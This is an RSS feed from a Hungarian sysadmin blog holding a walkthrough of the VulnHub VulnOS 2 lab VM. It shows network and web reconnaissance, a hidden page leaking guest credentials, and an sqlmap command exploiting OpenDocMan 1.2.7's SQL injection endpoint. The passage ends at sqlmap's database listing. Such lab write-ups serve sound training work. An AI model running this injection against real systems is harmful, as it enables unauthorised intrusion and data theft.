<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>SYSOP_</title>
    <description>Rendzsergazdaként főleg linux szerverekkel foglalkozok. Az oldalt egyfajta jegyzetként hoztam létre magamnak, illetve azoknak akik majd hasznosnak találják.</description>
    <link>http://www.sysop.hu/blog/</link>
    <atom:link href="http://www.sysop.hu/blog/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Sun, 22 May 2016 18:28:28 +0200</pubDate>
    <lastBuildDate>Sun, 22 May 2016 18:28:28 +0200</lastBuildDate>
    <generator>Jekyll v2.2.0</generator>
    
      <item>
        <title>VulnHub - VulnOS 2</title>
        <description>&lt;p&gt;Egy újabb feltörésre váró virtuális szerver jelent meg a napokban kedvenc oldalamon a &lt;a href=&quot;https://vulnhub.com&quot;&gt;&lt;code&gt;VulnHub&lt;/code&gt;&lt;/a&gt;-on &lt;a href=&quot;https://www.vulnhub.com/author/c4b3rw0lf,66/&quot;&gt;&lt;code&gt;c4b3rw0lf&lt;/code&gt;&lt;/a&gt; jóvoltából.
Mivel egyből nem tudtam neki kezdeni, így nagyon vártam a hétvégét és az új kihívást.&lt;/p&gt;

&lt;h2 id=&quot;informci-gyjts&quot;&gt;Információ gyűjtés&lt;/h2&gt;

&lt;p&gt;Sebezhetőség vizsgálatra Kali-t használok fixen beállított IP címmel, a cél gép pedig DHCP-ről kapja. A hálózati szegmens szeparált a lokális hálózattól.
Virtualizáció tekintetében mindig KVM-et használok, így a letöltött vm-eket általában konvertálni kell, de ez nem okoz gondot.&lt;/p&gt;

&lt;p&gt;Megkerestem a cél gépet.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# netdiscover -i eth0 -r 192.168.10.0/24&lt;/span&gt;
Currently scanning: Finished!   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   Screen View: Unique Hosts                          
                                                                                        
 &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; Captured ARP Req/Rep packets, from &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; hosts.   Total size: &lt;span class=&quot;m&quot;&gt;126&lt;/span&gt;                        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.10.1    fe:54:00:0e:a4:ce      &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;42&lt;/span&gt;  Unknown vendor                       
 192.168.10.242  52:54:00:34:37:2d      &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;42&lt;/span&gt;  Unknown vendor                       
 192.168.10.254  52:54:00:0e:a4:ce      &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;42&lt;/span&gt;  Unknown vendor&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Megnéztem a nyitott portokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nmap -sS -sV -O 192.168.10.242 -p1-65535&lt;/span&gt;
Starting Nmap 7.12 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2016-05-17 19:25 CEST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; 192.168.10.242 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.10.242&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.00075s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.
Not shown: &lt;span class=&quot;m&quot;&gt;65532&lt;/span&gt; closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
80/tcp   open  http    Apache httpd 2.4.7 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
6667/tcp open  irc     ngircd
MAC Address: 52:54:00:34:37:2D &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;QEMU virtual NIC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Device &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;: general purpose
Running: Linux 3.X&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; hop
Service Info: Host: irc.example.net&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; OS: Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned in 22.07 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ez ismét nem sok, van egy &lt;code&gt;ssh&lt;/code&gt; a 22-es, egy &lt;code&gt;Apache&lt;/code&gt; webszerver a 80-as és egy &lt;code&gt;ngircd&lt;/code&gt; irc szerver a 6667-es porton.&lt;/p&gt;

&lt;p&gt;Kíváncsi voltam mit mond a &lt;code&gt;nikto&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nikto -host http://192.168.10.242/&lt;/span&gt;
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.10.242
+ Target Hostname:    192.168.10.242
+ Target Port:        80
+ Start Time:         2016-05-17 19:54:46 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GMT2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
+ Server leaks inodes via ETags, header found with file /, fields: 0x3c9 0x531f36393d540 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;
+ No CGI Directories found &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;use &lt;span class=&quot;s1&quot;&gt;&amp;#39;-C all&amp;#39;&lt;/span&gt; to force check all possible &lt;span class=&quot;nb&quot;&gt;dirs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
+ Apache/2.4.7 appears to be outdated &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;current is at least Apache/2.4.12&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;. Apache 2.0.65 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;final release&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ &lt;span class=&quot;m&quot;&gt;7535&lt;/span&gt; requests: &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; error&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; and &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; item&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; reported on remote host
+ End Time:           2016-05-17 19:54:56 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GMT2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;10&lt;/span&gt; seconds&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
---------------------------------------------------------------------------
+ &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; host&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tested&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ezzel sem jutottam beljebb…&lt;/p&gt;

&lt;p&gt;Jöhet a &lt;code&gt;dirb&lt;/code&gt;, hátha talál valamit nekem.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# dirb http://192.168.10.242&lt;/span&gt;

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue May &lt;span class=&quot;m&quot;&gt;17&lt;/span&gt; 19:56:53 2016
URL_BASE: http://192.168.10.242/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: &lt;span class=&quot;m&quot;&gt;4612&lt;/span&gt;                                                          

---- Scanning URL: http://192.168.10.242/ ----
+ http://192.168.10.242/index.html &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:969&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                                                
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/javascript/                                                                                                                      
+ http://192.168.10.242/server-status &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:403&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:294&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                                             
                                                                                                                                                                      
---- Entering directory: http://192.168.10.242/javascript/ ----
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/javascript/jquery/                                                                                                               
...                                                                                                                                                                      
---- Entering directory: http://192.168.10.242/javascript/jquery/ ----
+ http://192.168.10.242/javascript/jquery/jquery &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:252879&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                               
+ http://192.168.10.242/javascript/jquery/version &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                                   
                                                                                                                                                                      
-----------------
END_TIME: Tue May &lt;span class=&quot;m&quot;&gt;17&lt;/span&gt; 19:57:01 2016
DOWNLOADED: &lt;span class=&quot;m&quot;&gt;13836&lt;/span&gt; - FOUND: 4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Akkor jöhet a böngésző.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/vulnosv2_index.png&quot; alt=&quot;vulnosv2_index&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ellenőriztem a forrást, de a &lt;code&gt;website&lt;/code&gt; linken kívül más nincs.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;http-equiv=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;content=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;text/html; charset=utf-8&amp;quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;VulnOSv2&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;bgcolor=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;#000000&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;text=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;#FFFFFF&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;link=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;#FF0000&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;align=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;center&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;##########&lt;span class=&quot;nt&quot;&gt;&amp;lt;strong&amp;gt;&lt;/span&gt;############### Welcome to VulnOSv2 #########################
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h4&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;nbsp;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h4&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h4&amp;gt;&lt;/span&gt;### VulnOS are a series of vulnerable operating systems packed as virtual images to enhance penetration testing skills ###&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h4&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h4&amp;gt;&lt;/span&gt;This is a vulnerable server. DO NOT USE this VM in a production environment !&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h4&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h4&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;nbsp;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h4&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;nbsp;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;nbsp;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;nbsp;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h4&amp;gt;&lt;/span&gt;### Pentest the company &lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/jabc&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;JABC&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;target=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;new&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;website&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt; on the server... Get root of the system and read the final flag ###&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h4&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Erre az almappára is ráengedtem a &lt;code&gt;dirb&lt;/code&gt;-t hátha mutat valamit.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# dirb http://192.168.10.242/jabc/&lt;/span&gt;
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat May &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; 11:44:46 2016
URL_BASE: http://192.168.10.242/jabc/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: &lt;span class=&quot;m&quot;&gt;4612&lt;/span&gt;                                                          

---- Scanning URL: http://192.168.10.242/jabc/ ----
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/includes/                                                                                                    
+ http://192.168.10.242/jabc/index.php &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:9525&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                            
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/misc/                                                                                                        
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/modules/                                                                                                     
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/profiles/                                                                                                    
+ http://192.168.10.242/jabc/robots.txt &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:1561&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                           
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/scripts/                                                                                                     
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/sites/                                                                                                       
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/templates/                                                                                                   
&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&amp;gt; DIRECTORY: http://192.168.10.242/jabc/themes/                                                                                                      
+ http://192.168.10.242/jabc/xmlrpc.php &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;SIZE:42&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                             
...
...                                                                                                                                                       
-----------------
END_TIME: Sat May &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; 11:44:49 2016
DOWNLOADED: &lt;span class=&quot;m&quot;&gt;4612&lt;/span&gt; - FOUND: 3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;robots.txt&lt;/code&gt;-be belenézve kiderült, hogy alaposan kigyomlált &lt;code&gt;Drupal&lt;/code&gt; rendszerrel van dolgom.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# robots.txt&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# This file is to prevent the crawling and indexing of certain parts&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# of your site by web crawlers and spiders run by sites like Yahoo!&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# and Google. By telling these &amp;quot;robots&amp;quot; where not to go on your site,&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# you save bandwidth and server resources.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# This file will be ignored unless it is at the root of your host:&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Used:    http://example.com/robots.txt&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Ignored: http://example.com/site/robots.txt&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# For more information about the robots.txt standard, see:&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# http://www.robotstxt.org/wc/robots.html&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# For syntax checking, see:&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# http://www.sxw.org.uk/computing/robots/check.html&lt;/span&gt;

User-agent: *
Crawl-delay: 10
&lt;span class=&quot;c&quot;&gt;# Directories&lt;/span&gt;
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
&lt;span class=&quot;c&quot;&gt;# Files&lt;/span&gt;
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
&lt;span class=&quot;c&quot;&gt;# Paths (clean URLs)&lt;/span&gt;
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
&lt;span class=&quot;c&quot;&gt;# Paths (no clean URLs)&lt;/span&gt;
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;admin/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;comment/reply/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;filter/tips/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;node/add/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;search/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user/password/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user/register/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user/login/
Disallow: /?q&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user/logout/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Úgy gondoltam, hogy nem a Drupal felől lesz megközelíthető a rendszer.&lt;/p&gt;

&lt;p&gt;Lássuk böngészőből.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/vulnosv2_drupal1.png&quot; alt=&quot;vulnosv2_drupal1&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Az oldalakat végig nézve, nem találtam érdekességet se a böngészőben, se a forrásban. Az url sávban láttam, hogy a &lt;code&gt;http://192.168.10.242/jabc/?q=node/6&lt;/code&gt; az utolsó
oldal. Vagyis 1-töl 6-ig tart az oldalak száma. Át írtam az url-ben a 6-ost 7-re és kiderült, hogy van még egy oldal, amire nem mutat link a többiről.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/vulnosv2_drupal2.png&quot; alt=&quot;vulnosv2_drupal2&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Mivel túl üres volt az oldal, így sejthető volt, hogy itt ennél több információ is van. A teljes oldal kijelölése &lt;code&gt;(CTRL+A)&lt;/code&gt; és a forrás átnézése után ki is derült, 
hogy van egy dokumentációs platform a &lt;code&gt;/jabcd0cs&lt;/code&gt; mappában, amibe a &lt;code&gt;guest/guest&lt;/code&gt; felhasználó és jelszó párossal be is juthatunk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/vulnosv2_opendm.png&quot; alt=&quot;vulnosv2_opendm&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;guest&lt;/code&gt; felhasználóval belépve többféleképpen próbáltam valahogy egy php webshell-t szerezni, de nem sikerült.
Az OpenDocMan verzió száma alapján (v1.2.7), viszont kiderült, hogy van &lt;a href=&quot;https://www.exploit-db.com/exploits/32075/&quot;&gt;&lt;code&gt;SQLi (SQL befecskendezés) sebezhetősége&lt;/code&gt;&lt;/a&gt;, így hát neki eresztettem az sqlmap-ot.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# root@kali:~# sqlmap -u &amp;quot;http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&amp;amp;add_value=odm_user&amp;quot; --dbs&lt;/span&gt;
         _
 ___ ___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0.5.0#dev&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_ -&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; .&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;__,&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;  _&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   http://sqlmap.okrg

---
available databases &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;6&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;*&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; drupal7
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;*&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; information_schema
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;*&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; jabcd0cs
